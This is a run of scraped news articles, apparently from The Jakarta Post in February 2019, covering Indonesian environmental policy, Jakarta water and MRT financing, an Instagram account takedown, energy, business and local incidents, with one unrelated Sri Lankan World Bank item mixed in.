His body was brought to the Cipto Mangunkusumo General Hospital in Central Jakarta for an autopsy. (sau)Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Sun, February 17, 2019 19:30 858 ab327006fac3d4a4e8af45a51b2ac7ff 1 Politics environment,forest-conservation,forest-fires,mining-sites,agrarian-conflicts,agrarian-reform,2019-presidential-election,2019-presidential-debate,#2019PresidentialElection,#DebatPilpres2019 Free

While praised for its progressive efforts in preserving forests and stopping forest fires, President Joko Jokowi Widodos administration still faces criticism for doing less in preventing the harmful practices of mining.

Environment watchdog Indonesian Forum for the Environment (Walhi) said Jokowis efforts in protecting the environment in the last four years had been half-hearted.

It is true that there has been some progress if compared to previous administrations. However, he is still not serious about implementing the point that he stressed in his Nawacita, particularly related to the citizens rights to safety and land ownership, Walhi research and policy manager Boy Jerry Even Sembiring told The Jakarta Post.

He was referring to the nine-point development plan introduced by Jokowi and Vice President Jusuf Kalla during their election campaign in 2014.

Boy said Jokowi had not overcome the ongoing criminalization of environmental activists across the country.

Data from the Indonesian Legal Aid Institute in 2017 revealed that criminalization against environmental activists is rampant, with 50 activists facing legal sanctions in 2017.

The Mining Advocacy Network (Jatam) recorded 22 cases involving the criminalization of 85 environmental activists across the country between 2014 and 2018 in the mining sector, particularly coal mining, gold mining and limestone mining sectors.

Boy said Jokowis administration was also still struggling with land conflicts despite major progress in reducing forest fires.

The Agrarian Reform Consortium (KPA) recorded a drop in the number of agrarian conflicts occurring throughout last year, with the 410 cases representing a 37 percent decrease from the 659 conflicts in 2017. But the latest number covered more than 807,000 hectares of land and involved more than 87,568 households across the country.

Boy credited the decrease to several progressive programs in agrarian reform, including social forestry, forest fire mitigation, some innovative regulations and concession permits restrictions.

Environment and Forestry Minister Siti Nubaya Bakar said Jokowi had allowed marginalized communities to enjoy the benefits of forests through social forestry regulations.

In 2015, the government launched an ambitious program that earmarks 12.7 million ha of forests to be managed by communities through social forestry schemes. These include community forestry, village forests, community plantation forests and customary forests.

Siti said another breakthrough was the Presidents forest fire mitigation efforts across the country following the 2015 deadly forest fires.

The number of hotspots has reduced, she said in a press conference at Presidential Staff Office (KSP) on Tuesday.

Siti also said the government had imposed administrative sanctions on companies or institutions that violate regulations.

These administrative sanctions were implemented for the first time as law enforcement measures in Jokowis era, she said.

In 2015, the government issued ministerial and presidential decrees that eventually led to the establishment of a national peatland restoration agency (BRG), tasked with reviving peatland that have been drained for planting as well as those damaged by fires.

The government also issued a regulation in 2016 to end all development on peatland across the country. Another regulation that same year on strategic environmental impact assessment requirements and a regulation in 2017 on funding for environmental protection are among the slew of policies rolled out in the wake of the 2015 disaster.

President Jokowi has also urged us to educate the communities about the dangers of forest fires, Bambang said.

Maritime Affairs and Fisheries Minister Susi Pudjiastuti said the President had made reforms in protecting the ocean, as Indonesia aims to play a leading role in maintaining ocean sustainability.

She said the government had been taking stern measures in tackling illegal fishing in its waters in a bid to protect its fish. According to the ministry, 488 illegal fishing boats have been sunk for the crime.

The President, Susi said further, had also called Indonesian fishermen to stop using traditional cantrang (seine and trawl nets) in a bid to promote sustainable fishing habits and prevent the damage of coral reefs and seabed ecosystems.

Indonesia was praised by other countries for its stern measures in protecting its oceans, she said. (das)Share this article Whatsapp

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Linkedin Sausan Atika (The Jakarta Post) Jakarta  Wed, February 13, 2019 12:03 862 ab327006fac3d4a4e8af45a51b2b4780 1 City tap-water,PAM-Jaya,water,water-access,Jakarta-administration Free

Ellya, a resident of Cempaka Putih, Central Jakarta, pays Rp 300,000 (US$21.38) a month for a water service of less than 40 cubic meters used by six adults and two children.

She does not mind paying that much for such a basic need, but cannot help but compare it with the price her husbands family pays in his hometown of Padang, West Sumatra, of less than Rp 150,000 a month for five adults.

As a long-time customer of Jakartas tap water service, she said the tap water ran slowly at least once a month. Although, she added that the quality of the water, supplied by the privately owned PT Aetra Air Jakarta, had improved in terms of its turbidity level and that the smell of chlorine had decreased each year.

The city administration recently announced a plan to retake control of the tap water service after being run by two private firms for the past two decades. This is part of a larger global trend toward remunicipalization, by which local authorities retake control of previously privatized water and sanitation services.

But Ellya said she did not care about such technicalities, she simply wanted clean water to continue to be supplied to her house. Although, she did express hope better services would be provided if city owned water company PAM Jaya took control.

If PAM Jaya manages the tap water, hopefully, the price will be cheaper because I believe [PAM Jaya] will not be focused solely on profit, the 59-year-old piano teacher told The Jakarta Post recently.

Read also: Jakarta to take over water management from Aetra, Palyja despite court decision

Jakarta Governor Anies Baswedan announced on Monday that his administration was planning to retake control of tap water management from private firms Aetra and PT PAM Lyonnaise Jaya (Palyja). The remunicipalization plan is part on the citys efforts to achieve 82 percent tap water coverage by 2023. The realization of this target has been slow because of the previous agreement with the private operators. Tap water coverage today sits at 59.4 percent, a sluggish increase from 44.5 percent in 1998.

Activists and the public alike have long demanded remunicipalization. Although Jakartas plan is still underway, Badung regency in Bali has found success after ending its 20 year partnership with private firms in 2012, according to remunicipalization global tracker website remunicipalisation.org.

Tommy Albert Tobing, a member of the Coalition of Jakarta Residents Opposing Water Privatization (KMMSAJ), said direct remunicipalization would ensure the profits from the lucrative tap water business would be used for the good of the citys residents, rather than for the benefit of a hand full of people.

The profits from PAM Jaya will be for residents, Tommy said.

He cited Aetras 2016 financial statement, which reported that the company had made Rp 400 billion in profit with its daily profit estimated to be Rp 1.09 billion, enough to cover 1,015,486 peoples monthly water bills.

Read also: Water for all in Jakarta

He said the plan would also return Rp 1.77 trillion in assets to the city administration that was currently in the hands of PAM Jayas private partners.

As the administration was still mulling its options for taking control of tap water management, Tommy recommended any option that allowed for minimum expense and maximum benefit.

Termination of the contract was the best way to ensure tap water management was returned to the people, he said, adding that other options could leave the door open to reprivatization.

Regarding compensation for the private firms, Tommy said the administration could possibly file a counterclaim, which would include wanprestasi(default) of contract regarding the water coverage target.

PAM Jaya, which has long served as a supervisor rather than an operator, was optimistic the 82 percent tap water coverage target could be achieved by 2023.

The companys president director Priyatno Bambang Hernowo said on Tuesday that investment was the key to achieve the target, as the firm had to build more water treatment plants and expand the piping network. It would need more than Rp 8 trillion to bolster Jakartas distribution network, he said.

The funds could be gained from, among other sources, the city budget, commercial banks, or bonds. The city needed an additional 17,000 liters of water per second to fulfill complete coverage, from the existing 22,000, he said.

Indonesian Consumer Foundation (YLKI) researcher Sularsi said the citys water supply had seen little improvement because of the slow pace of water pipe expansion and insufficient water leak reduction.

However, Sularsi also said the underlying problem was not only the tap water service itself, but the availability of water resources, highlighting Jatiluhur Reservoir, which supplies 81 percent of the citys water.

Water management problems cannot be solved by the Jakarta administration alone. It should be intersectoral, including the central and regional governments," she said.Share this article Whatsapp

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Linkedin Sausan Atika (The Jakarta Post) Jakarta  Wed, February 13, 2019 19:09 862 ab327006fac3d4a4e8af45a51b2c96f8 1 City MRT-Jakarta,loan,JICA Free

The Finance Ministry signed over to the Jakarta administration on Wednesday the first installment of a Japanese loan meant to finance Phase 2 of the MRT project.

The 70.021 billion yen (US$632.64 million, or Rp 9.3 trillion) from the Japan International Cooperation Agency (JICA) was agreed to in a deal reached on Oct. 24 last year with the Finance Ministry. The total investment needed for Phase 2 of the project is Rp 22.5 trillion.

The signing was an important milestone for Phase 2 of the MRT project. We are hoping that PT MRT Jakarta can immediately start work in the field, Jakarta Governor Anies Baswedan said at City Hall on Wednesday.

"Insya Allah [God willing], the city administration would deliver reports regularly to the Finance Ministry's directorate general of fiscal balance and the Transportation Ministry's directorate general of railways, as well as ensure supporting facilities [are built] for the smooth operation of the MRT," he added.

Speaking on the same occasion, the Finance Ministrys director general of fiscal balance, Astera Primanto Bhakti, said 59.108 billion yen of the loan would pay for civil works, 6.311 billion yen for consultation services and 4.602 billion yen for unforeseen expenses.

The central government has declared MRT Jakarta to be a national strategic project, he said. Hence, the government would be responsible for repaying 49 percent of the loan, while the Jakarta administration was to shoulder 51 percent.

The first phase of the MRT runs 15.7 kilometers from Lebak Bulus in South Jakarta to the Hotel Indonesia traffic circle in Central Jakarta, while the second phase is to extend Phase 1 to Kampung Bandan in West Jakarta.Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 15:05 862 ab327006fac3d4a4e8af45a51b2bc538 1 National gay,Instagram,alpantuni,comic,social-media,communications-and-informatics-ministry Free

The government and social media platform Instagram gave conflicting statements regarding the shutdown of an Instagram account that posted a comic strip depicting the struggles of a gay Muslim man living in a religiously conservative society.

The government claimed on Wednesday that the social media giant, which is highly popular among Indonesians, had removed the account after an outcry from Indonesian internet users, who have in the past few years been in the grip of a moral panic about the LGBT community.

Only hours after the government made the announcement, Instagram issued a statement denying such a claim.

Instagram did not remove this account. There are a number of other reasons why an account may no longer be accessible, including, for example, if the account holder deleted the account, deactivated the account or changed the account username, said an Instagram spokesperson.

The account has stirred controversy in Indonesia, particularly ahead of the general election in April as anti-LGBT sentiment is rising with politicians whipping up homophobia to get votes.

The comic strip tells the story of Alpantuni, a practicing Muslim who is also gay and has to struggle with discrimination because of his sexual orientation.

The Instagram account @alpantuni was created in November last year, but only gained the attention of Indonesian netizens last week. As of 5 p.m. on Wednesday, the account was no longer accessible, according to a statement released by the Communications and Information Ministry.

The ministry claimed that the account was shut down based on its request to Instagram, Antara reported.

The account, it said, violated Article 27 paragraph 1 of the 2008 Electronic Information and Transactions Law on the distribution of pornographic content.

The ministry, however, stopped short of mentioning which part of the comic strip was pornographic. The information is crucial as it is believed that the government initially failed to provide legal grounds to request the accounts removal because Indonesia does not criminalize homosexuality.

The Instagram account has triggered a torrent of complaints from Indonesian netizens who found the comic strip offensive.

Same-sex relations are already forbidden by Islam but the accounts owner had the guts to fill its feed with gay-themed content. I felt disappointed and wanted the account to be removed, social media user Anis Mirfaqoh said, who also tagged the ministrys official Instagram account in a comment beneath one comic strip post to push the initiative.

Despite the brouhaha, it is not clear who managed the Instagram account, which features the comic strip in English and Indonesian and uses the hashtags #gayindonesia, #gaymalaysia, #komikmalaysia and #gaymuslims.

Some suspected the owner was not even Indonesian, but actually Malaysian.

The Jakarta Police said they were now investigating the case to find the person behind the controversial social media account.

Nabillah Saputri of the Southeast Asia Freedom of Expression Network (SAFEnet) questioned the ministrys decision to request the accounts removal as she believed the comic strip represented the social reality of the discrimination against the LGBT community.

If [the comic strip is banned], that means the government condones the prevailing discrimination against minority groups like the LGBT community, Nabillah said. (mai)

Editor's note:

The article was updated at 9:36 p.m. on Feb. 13.Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 12:27 862 ab327006fac3d4a4e8af45a51b2b4d78 4 Business investment,automotive,Airlangga-Hartarto Free

Industry Minister Airlangga Hartarto says several investors are committed to investing US$900 million in the automotive industry.

Investors from Asia and Europe have expressed their commitment, Airlangga said in Jakarta on Tuesday as quoted by kompas.com. He, however, declined to reveal the details of the investment, including the names of their companies.

About 50 percent of their products will be exported, while 50 others will be for the domestic market.

Investors in the automotive industry are confident in Indonesia, particularly because Indonesia is a competent producer of chemicals, glasses and tires needed by the industry, Airlangga said.

The minister stressed the importance of investment in manufacturing industries, including in the automotive sector, because such industries employed a large number of workers and their products could reduce Indonesias dependency on exports.

Indonesia exported 346,000 vehicles in 2018, 264,000 of which were completely built up (CBU), while 82,000 others were completely knocked down (CKD). The total value of vehicles exports stood at US$4 billion, plus $2.6 billion from component exports.

[After the entry of new investors], Indonesia as a manufacturing industry country is close to Mexico and India, Airlangga added.

He expressed the hope that Indonesia and Australia would soon sign a comprehensive economic partnership agreement (IA-CEPA) because it would open a wider market for the Indonesian automotive industry.

Airlangga said he used to tell his Australian counterpart that Indonesia was eyeing the Australian market for its automotive products after the signing of an IA CEPA.

Indonesia aims to export 100,000 vehicles this year, 95 percent of which are CBU. (bbn)Share this article Whatsapp

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Linkedin Ivany Atina Arbi (The Jakarta Post) Jakarta  Wed, February 13, 2019 13:02 862 ab327006fac3d4a4e8af45a51b2b7aaa 1 National satellite-imagery,LAPAN,disaster-mitigation,agriculture,forestry Free

North Nias Marine and Fisheries Agency head Sabar Jaya Telaumbanua in North Sumatra province could not hide his excitement when witnessing local fishermen in the regency return with a big catch --much bigger than usual.

In a short video shown during a national coordination meeting held by the National Institute of Aeronautics and Space (LAPAN) recently, the agency head revealed that LAPANs satellite image data had played a significant role in the big harvest.

We thank LAPAN for providing us with the data as it helps us in identifying which areas contain large number of fish. It saves our time and [operational] money, Sabar said.

LAPAN, which acquires imagery from remote sensing satellites such as the German Terrasar-X and French SPOT for research and operational applications, allows the public to now access data freely through a mobile app called Sipandora.

The apps, which have been available in the Google Play app store since late last year, was officially launched to the public on Wednesday during the national coordination meeting.

LAPANs remote sensing division deputy head, Orbita Roswintiarti, said the initiative to develop the apps came after the issuance of Government Regulation PP No. 11/2018, mandating the institution to disseminate satellite image data to the public to support national development.

Article 48 of the regulation stipulates that data could be used by government agencies, regional administrations and society.

Orbita further revealed that the Sipandora mobile apps offered a wide range of information related to natural resources, the environment, disasters and others. Agencies or institutions that can take advantage of the data include the Environment and Forestry Ministry, the Public Works and Housing Ministry, the National Disaster Mitigation Agency and the National Land Agency.

The National Police can even use our data to look for cannabis fields and the tax agency uses it to map out objects subject to taxes, Orbita said on the sidelines of the meeting.

Upon trying the mobile app, The Jakarta Post found two main features in it, namely a natural resource monitoring system (SIPANDA) and disaster mitigation information system (SIMBA).

On SIPANDA, users can monitor various natural resource potential both on land and in waters, such as paddy fields, mining areas as well as fish and coral reef distribution areas, while on SIMBA, there are options for disaster early warning, which includes information about hot spots and daily flood potential, as well as disaster impact, in which users can monitor the whereabouts of affected areas when a disaster strikes.

For instance, when users click the Lombok earthquake menu on the app, they will find the damaged areas are located on the western part of the island, in Mataram city, and the Northeast part of the island near Gili Lawang and Gili Sulat islands.

An official from Lebong regency in Bengkulu province, Edi Ramlan, acknowleged that the newly launched mobile apps would ease the work of various agencies in the Lebong administration as the data was only one click away.

Previously, to obtain satellite imagery of just one district, the administration had to pay up to Rp 400 million (US$28,521) to third parties, usually consultants.

Imagine if one regency has seven to eight districts, they would incur high costs to get data. Now all of the information is in your hands, and free, Edi said.Share this article Whatsapp

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Linkedin (The Jakarta Post) Jakarta  Wed, February 13 2019

The International NGO Forum on Indonesian Development (INFID) has called on the government to continue tackling the gap between the rich and poor by providing more social assistance.



In a recently released report titled Public Perception of Social Gap 2018, the INFID said Indonesias social gap reduction score had improved to 6.6 in 2018 from 6.2 in 2017.



However, the government should provide programs with greater quality to have a higher index, said INFID researcher Bagus Takwin when presenting the results of the survey, which involved 2,040 respondents.



According to the report, the public perceived the 2018 programs as giving them greater benefits than the programs that were in place in 2017.



They claimed they obtained social assistance in a more convenient and more timely fashion, Bagus said.



In 2017, President Joko Joko...Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 11:49 862 ab327006fac3d4a4e8af45a51b2b37c6 1 City robbery,Google-Maps,West-Jakarta,hospital Free

A visitor to Royal Taruma Hospital in West Jakarta was robbed by two people pretending to ask for directions using Google Maps.

The incident, which took place at 5.30 a.m. on Feb. 8, occurred when the victim, identified only as AM, 20, was smoking a cigarette in the hospital yard.

The two perpetrators, RF and BGS, came on a motorcycle, Tanjung Duren Police chief Comr. Lambe Patabang said on Tuesday.

While still sitting on the motorcycle, BGS allegedly asked AM for directions to Tanjung Priok in North Jakarta. As AM answered, BGS asked him to show the way using Google Maps on the victims phone, Lambe said.

When the victim took out their phone to open the Google Maps app, BGS snatched it, he said.

Lambe added that a quarrel took place before RF and BGS managed to flee the scene. Some 10 meters from the scene, they fell to the ground.

After hearing several people shout thieves, a Tanjung Duren Police officer, who happened to be in the vicinity, ran after RF and BGS. The officer caught RF but BGS escaped with AMs phone. (vla)Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 13:27 862 ab327006fac3d4a4e8af45a51b2b83dc 1 National Ani-Yudhoyono,Susilo-Bambang-Yudhoyono,Democratic-party Free

Former first lady Kristiani Herrawati, better known as Ani Yudhoyono, has been hospitalized in Singapore since Feb. 2 for blood cancer treatment.

Her husband, Democratic Party chairman and former president Susilo Bambang Yudhoyono, said on Wednesday that she was currently under intensive medical care at National University Hospital in Singapore.

I ask for prayers from everyone that God will cure my beloved wife so that she can continue her activities back home, he said during a press conference in Singapore.

He also thanked President Joko Jokowi Widodo, the government and all well-wishers for the attention and support for his wife.

As a husband, of course, I will remain at her side. I know that she is a strong person. She has accompanied me through thick and thin, said Yudhoyono.

Democratic Party spokeswoman Imelda Sari said on Tuesday that the family and presidential medical team had met with the doctors who had been treating Ani in Singapore.

Ibu Ani is in stable condition, Imelda said in a statement.

She added that Yudhoyono, his eldest son Agus Harimurti Yudhoyono and his youngest Edhi Baskoro Yudhyono were at the hospital awaiting the results from the doctors observations over the past week.

Jokowi deployed the presidential medical team on Tuesday, Democrat executive Andi Arief posted on his Twitter account.

Pak Jokowi has instructed the presidential medical team to work together with doctors in Singapore for Ibu Ani Yudhyonos recovery, as mandated by the law, Andi tweeted.

The head of the partys advocacy and legal team, Ferdinand Hutahaean, said its members were all wishing a speedy recovery for Ani.

We all are sad, Ferdinand said on Tuesday as quoted by Antara.

Apart from party members and her family, Ani has also received well-wishes and flowers from state leaders, including Singapore Prime Minister Lee Hsien Loong, President Jokowi and First Lady Iriana, Foreign Minister Retno Marsudi and National Police chief Gen. Tito Karnavian.

On Tuesday, Ani uploaded a photo of a greeting card to her Instagram account @aniyudhoyono. Her granddaughter, Almira Aira Tunggadewi Yudhoyono, had made the card and given it to her at the hospital.

Dear Memo, hope you feel better and get well soon! Aira wrote on the card, using the family's endearment for Ani.

Her sons, daughters-in-law and grandchildren affectionately call her Memo and Yudhoyono Pepo on social media.

The former first lady is well known for her passion for photography and as an active social media user. Her regular updates on her activities with her husband and family have garnered 6.1 million Instagram followers.

She is known for being very outspoken and direct in showing her support and affection for her husband, sons and grandchildren, particularly when Agus Harimurti was running in the Jakarta gubernatorial election two years ago. (kuk/foy)To meet Prez, PM, FinMins, CB Governor and Colombo Mayor

Expected to hold discussions on female labour participation



The World Bank Vice President for the South Asia region, Hartwig Schafer is currently in town on his first visit to Sri Lanka to gain a better understanding of the countrys development priorities and as to how the bank can continue to support its critical reform agenda.



Sri Lanka has made good progress in reducing poverty and ranks the highest in South Asia in terms of human capital development said Schafer.



To continue its journey towards a high middle-income country and create more quality jobs for its people, Sri Lanka needs to continue focusing on better fiscal health, boosting its competitiveness as a tourism, logistics and IT hub and managing climate change risks. The World Bank will continue to provide its best expertise to support Sri Lankas future growth. During his three-day visit, Schafer will meet President Maithripala Sirisena, Prime Minister Ranil Wickremesinghe and senior government officials including the Finance and Mass Media Minister Mangala Samaraweera, State Finance Minister Eran Wickremaratne, Colombo Mayor Rosy Senanayake and Central Bank Governor Dr. Indrajith Coomaraswamy.

Schafer is expected to hold discussions on Sri Lankas low female labour force participation, visit project sites to meet communities engaged in development work and launch the World Banks new Sri Lanka Development Update.



He will also meet with leading representatives of the private sector and the civil society.



Before joining the South Asia Region, Schafer served as the Vice President for Global Themes and as Vice President for Operations Policy and Country Services.

He led several key reforms, including the rollout of the World Banks new policies on procurement, environmental and social safeguards, and innovation of the banks lending and knowledge instruments. Previously, Schafer served as the World Banks Country Director for Djibouti, Egypt, and Yemen.Share this article Whatsapp

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Linkedin Stefanno Reinard Sulaiman (The Jakarta Post) Jakarta  Wed, February 13, 2019 15:30 862 ab327006fac3d4a4e8af45a51b2be5de 1 Business gas-networks,household-gas-distribution,energy-and-mineral-resources-ministry,LPG Free

Oil and gas contractors (KKKS) should supply gas at a price cap of US$4.72 per million British thermal units (mmbtu) to accelerate the development of the household gas network (Jargas) national program, an official at the Energy and Mineral Resources Ministry has said.

Previously, we had found that several KKKS were unwilling [to supply gas to the network], but now it is mandatory. As long as the infrastructure is available, they should supply [gas] at a maximum price of $4.72 per mmbtu, said Alimuddin Baso, the ministrys director of oil and gas infrastructure planning and development.

The price cap is not stipulated in the newly issued Presidential Regulation (Perpres) No.6/2019 on natural gas supply and distribution for households and small commercial consumers, effective Jan. 28.

However, the regulation stipulates that the energy minister is responsible for setting the price cap based on three requisites: the gas price should be calculated from the wellhead; the gas supply should be uninterrupted; and the gas distribution should be free from additional schemes like take-or-pay, standby letters of credit and price escalation.

Indonesian Petroleum Association (IPA) president Tumbur Parlindungan said the price cap should not be a problem for contractors as long as they had available supplies of gas, and that the commercial aspects could be discussed with the government later.

Usually the gas price is set in accordance with the market price. [] We have yet to be informed about the gas price cap of $4.72 per mmbtu, but this shouldnt be a problem, as the gas volume [of the national network] is small, he told The Jakarta Post recently.

Alimuddin said the new regulation also provided opportunities for gas distributors to join the Jargas network, but that they should partner with the government.

The government will set the gas [capacity] allocation, but the companies should finance [the network], he said. We will offer them incentives, such as special prices for household consumers and small [commercial consumers].

Alimuddin added that gas distributors would also be freed of all costs related to the existing gas infrastructure, like network fees.

From its 2009 launch through to 2017, the Jargas network has connected 235,935 households across 31 regions. The network connected an additional 89,906 consumers in 18 locations last year.

The government expects to connect almost 5 million households to the national network by 2025.

Alimuddin said the state budget could fund only 125,000 connections, while gas distributors were expected to finance the rest.

He believed that the new policy would succeed, as the national program only required a small volume of gas to be supplied to the network  from 0.1 million standard cubic feet per day (mmscfd) to 0.2 million mmscfd  which was lower than the contractors' total production output.

At such a small supply volume, Alimuddin said that the Jargas program was intended to be just like a CSR [corporate social responsibility]" for KKKS, while contributing to the government's efforts to reduce imports of liquefied petroleum gas (LPG).

The high volume of imported LPG was one of the reasons the government came up with the Jargas network program. More than half of the national gas demand of 6.5 million metric tons was still imported.

The government has been distributing subsidized 3-kilogram LPG canisters for more than a decade. These canisters, popularly called LPG melons because of their bright green color, are used primarily by lower-income residents for cooking.

However, the subsidized LPG program is tainted with reports of expensive end-user prices.

The House of Representatives recently grilled the government on its failure to maintain the set price of Rp 12,750 (91 US cents) for each 3-kg canister of subsidized LPG.

Experts have also pointed out that the national gas network still had limited coverage, so people in remote, unconnected regions would still choose to purchase the subsidized LPG as a more cost-efficient option.

Pri Agung Rakhmanto, a researcher at Jakarta-based energy think tank ReforMiner Institute, said the Jargas program could succeed if the government could ensure national expansion that involved all major KKKS.

It should be a nationwide program, not just a program of related ministries, he said, pointing out that if the network was limited to only one or two areas or was intermittent, "then the prospective contractors would be limited to those areas.

As for the price cap, Pri Agung concurred that $4.72 per mmbtu was sufficiently competitive and would not incur losses for gas contractors.

Meanwhile, state-owned gas giant PGN said it had partnered with two KKKS that would use its Duri-Dumai gas pipeline to support the Jargas program. The pipeline runs from ConocoPhillips Corridor Block in South Sumatra and the Merang Block in Jambi, and is under the management of state-owned oil and gas holding company Pertamina.

PGN infrastructure and technology director Dilo Seno Widagdo said that potential gas customers included not only industrial consumers like petrochemical and oleochemical producers, but also households.

We estimate that around 200 households will be connected to the national program, he said.Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 11:00 862 ab327006fac3d4a4e8af45a51b2acc3a 1 City East-Jakarta,flood,residents,reservoir Free

People who live on Jl. Hadidji in Ciracas, East Jakarta, are no strangers to flooding, with the latest incident on Monday night inundating many houses with floodwaters 1.5-meter deep from the overflowing Cipinang River.

Abian Syam, 22, a resident, said that flooding happened frequently in the neighborhood because it used to be a cultivated area that acted as an artificial catchment.

There used to be paddy fields that absorbed [runoff], but now it has been turned into a housing complex. Flooding has often occurred since then, he said as quoted by kompas.com.

He recalled that in 2017, under then-governor Basuki Tjahaja Purnama, the city administration had pledged to build a reservoir in Ciracas to address the flooding. Ciracas residents had heard nothing more about the plan since Anies Baswedan was elected the Jakarta governor.

Weve elevated the ground by 30 centimeters, but it still takes four to five hours for the floodwaters to recede, said Abian.

Meanwhile, Apoy called on the city administration to build a canal to aid drainage, if it was too difficult to build a reservoir.

Even if it is just a small canal, at least it would be something to prevent the [runoff], said the 45-year-old resident.

Another resident, 50-year-old Laras, concurred while adding that the frequent flooding brought a variety of problems to the residents' lives

[When it floods], we have to move our belongings to a higher level. We also have to keep watch over our children so that they don't play in the floodwaters, she said. (vla)Share this article Whatsapp

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Linkedin Rachmadea Aisyah (The Jakarta Post) Jakarta  Wed, February 13, 2019 08:06 862 ab327006fac3d4a4e8af45a51b2a5c36 1 Business digital-trade,economic-growth,research,CSIS Free

Indonesias digital trade is expected to be the biggest support for the countrys economy by 2030, by helping commodities and manufacturing goods as well as services gain greater online market access.

The research was jointly conducted by AlphaBeta, the Hinrich Foundation and the Centre for Strategic and International Studies (CSIS), titled the Digital Komodo Dragon: How Indonesia can capture digital trade opportunity at home and abroad.

The research shows that digital trade could create opportunity worth Rp 2.3 quadrillion (US$172 billion) for the domestic economy alone by 2030, equivalent to 9 percent of Indonesias projected gross domestic product, from only Rp 125 trillion by 2017.

The sectors that can benefit from digital trade include agriculture and food, education and training, consumer and retail, infrastructure, resources, financial services, manufacturing and health.

Digital exports are also expected to grow by 768 percent to Rp 240 trillion by 2030 from Rp 28 trillion in 2017, if Indonesia and its trade partners are willing to reduce trade barriers related to digital trade.

Digital trade could help businesses [...] identify and enter new markets easily, AlphaBeta associate Genevieve Lim said during the reports release on Tuesday.

Market identification used to be costly and risky, but now, all enterprises have to do is register through any existing platform and start selling. (bbn)Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 16:13 862 ab327006fac3d4a4e8af45a51b2c1d68 4 Business avtur,airline-ticket,price,solution Free

President Joko Jokowi Widodo has called on state-owned oil and gas holding company Pertamina to reduce the price of aviation fuel (avtur) to lower air ticket prices, but an economist says that it will only further burden the company.

Instead, Institute for Development of Economics and Finance (Indef) researcher Abra Talattof said the government needed to cut value-added tax (VAT) for avtur, which is at 10 percent in Indonesia, while in Singapore it is 7 percent.

Can the finance minister stimulate the industry through a VAT cut? At least it should be made competitive with our neighbor, said Abra in Jakarta on Tuesday as quoted by kompas.com.

The government could also eliminate the fee that should be paid by Pertamina for selling avtur at airports because airports in other countries did not collect such fees, he added.

The stakeholders need to discuss the issue to find the best solution, he said.

Previously, President Jokowi blamed Pertamina for the high price of avtur when he received complaints from tourism players about the low occupancy rates of hotels in many regions of the country.

The President gave two options to the company  allow other players to sell avtur at Soekarno-Hatta International Airport or voluntarily lower avtur prices.

On the allegation that Pertamina monopolizes the avtur business, Abra said it was not completely true because regulations did not prohibit others from selling avtur, but required businesses to sell avtur in at least three airports.

Abra added, however, that lowering avtur prices would affect the financial performance of Pertamina.

It is not good. It would further burden Pertamina amid pressures faced by the company, he said, referring to the requirement for the company to implement a number of government programs like the single fuel price policy. (bbn)Share this article Whatsapp

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Linkedin News Desk (The Jakarta Post) Jakarta  Wed, February 13, 2019 07:36 862 ab327006fac3d4a4e8af45a51b2a53d0 1 Business Russia,coffee,Cappucino,Torabika-Cappucino,Indonesia,vodka Free

Russia is famous for its vodka and many other local varieties of alcohol, with its people regarded as among the highest consumers of alcohol in the world. When it comes to coffee, however, many Russians enjoy an Indonesian product  Torabika Cappuccino.

Following its success with the instant coffee product in Russia, publicly listed food company PT Mayora Indah is expanding into other Eastern European countries.

Mayoras international group country head Hartono Gunawan said he was optimistic the product would be just as well received in the rest of Eastern Europe.

The company exported 1,000 containers of Torabika Cappuccino to Russia last year, a 30 percent sales growth from 2017. Russia has the 9thbiggest population and was ranked 11thfor GDP [in 2017] in the world. We see Russia as a very important mixed-coffee market, Hartono said.

Hartono claimed the company had begun exporting to 10 Commonwealth of Independent States (CIS) countries and had set its sights on Southeast Europe this year.

We plan to export 2,000 containers of food products worth around US$40 million to Russia this year, especially as there will be a new biscuit product and a new variant of instant coffee to be exported, Mayora president director Andre Sukendra Atmadja told reporters at a press briefing at Mayoras headquarters in West Jakarta recently.

Andre said there was a possibility the company could set up a factory in Russia after sales reached $100 million.

It is very likely we will build a factory in Russia, but we need to reach a certain economy of scale first. Although we have sent 1,000 containers, it is still too small to warrant a factory. Only once the economy of scale reaches $100 million would it be feasible to build a factory there, he said.

The company has booked a significant increase in exports, which contributed 50 percent of the companys revenue in 2018.

The company currently operates 24 factories in Indonesia and five factories abroad, which, according to Mayora global marketing director Ricky Afrianto, was sufficient to meet demand.

Despite the stagnant growth of the fast-moving consumer goods (FMCG) sector, Mayora is upbeat it can book 15 percent sales growth.

Ricky expressed optimism the company could see at least 15 percent sales growth this year and believed the presidential and legislative elections in April this year could also boost the economy and in turn boost peoples buying power.

We offer affordable products that are needed by people of all backgrounds. The political climate will hopefully not disrupt the FMCG industry, he said.

Mayora sells its various products, such as Kopiko coffee candy, Kopiko instant coffee, Vietnam butter cookies, Energen breakfast cereal and wafers and Beng Beng and Malkist crackers to more than 100 countries, with ASEAN and Middle Eastern countries its biggest international markets.

Mayoras total revenue rose by 16 percent to Rp 35 trillion in 2018, despite overall stagnant growth in the FMCG sector.

The FMCG industry has indeed been stagnant for the last two years. However, we are lucky that we have seen an overall growth of 16 percent. It has been difficult for some categories, but they still saw growth nonetheless, Ricky said.

The growth was seen in all eight of its product categories, Ricky said, and was most notable in its beverage line, such as Teh Pucuk Harum bottled tea, which was Indonesias leading product in the ready-to-drink tea segment in 2014, as well as bottled water brand Le Minerale. (ars)Share this article Whatsapp

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Linkedin Apriadi Gunawan (The Jakarta Post) Sibolga, North Sumatra  Wed, February 13, 2019 07:37 862 ab327006fac3d4a4e8af45a51b2a55e1 1 Business SibolgaPort,Medan,North-Sumatra,port,infrastructure,Transportation,Pelindo Free

Sibolga Port, located on the west coast of North Sumatra, is set to see an increase in activity following the completion of a three-year renovation by state-owned port operator Pelindo I.

The face-lift includes the construction a new multi-purpose dock spanning 153 meters and a container yard. The docks and dolphins have also been revamped, while a fixed crane has been installed to go with a reorganization of the passenger terminal and a 400 square meter expansion of the ferry dock.

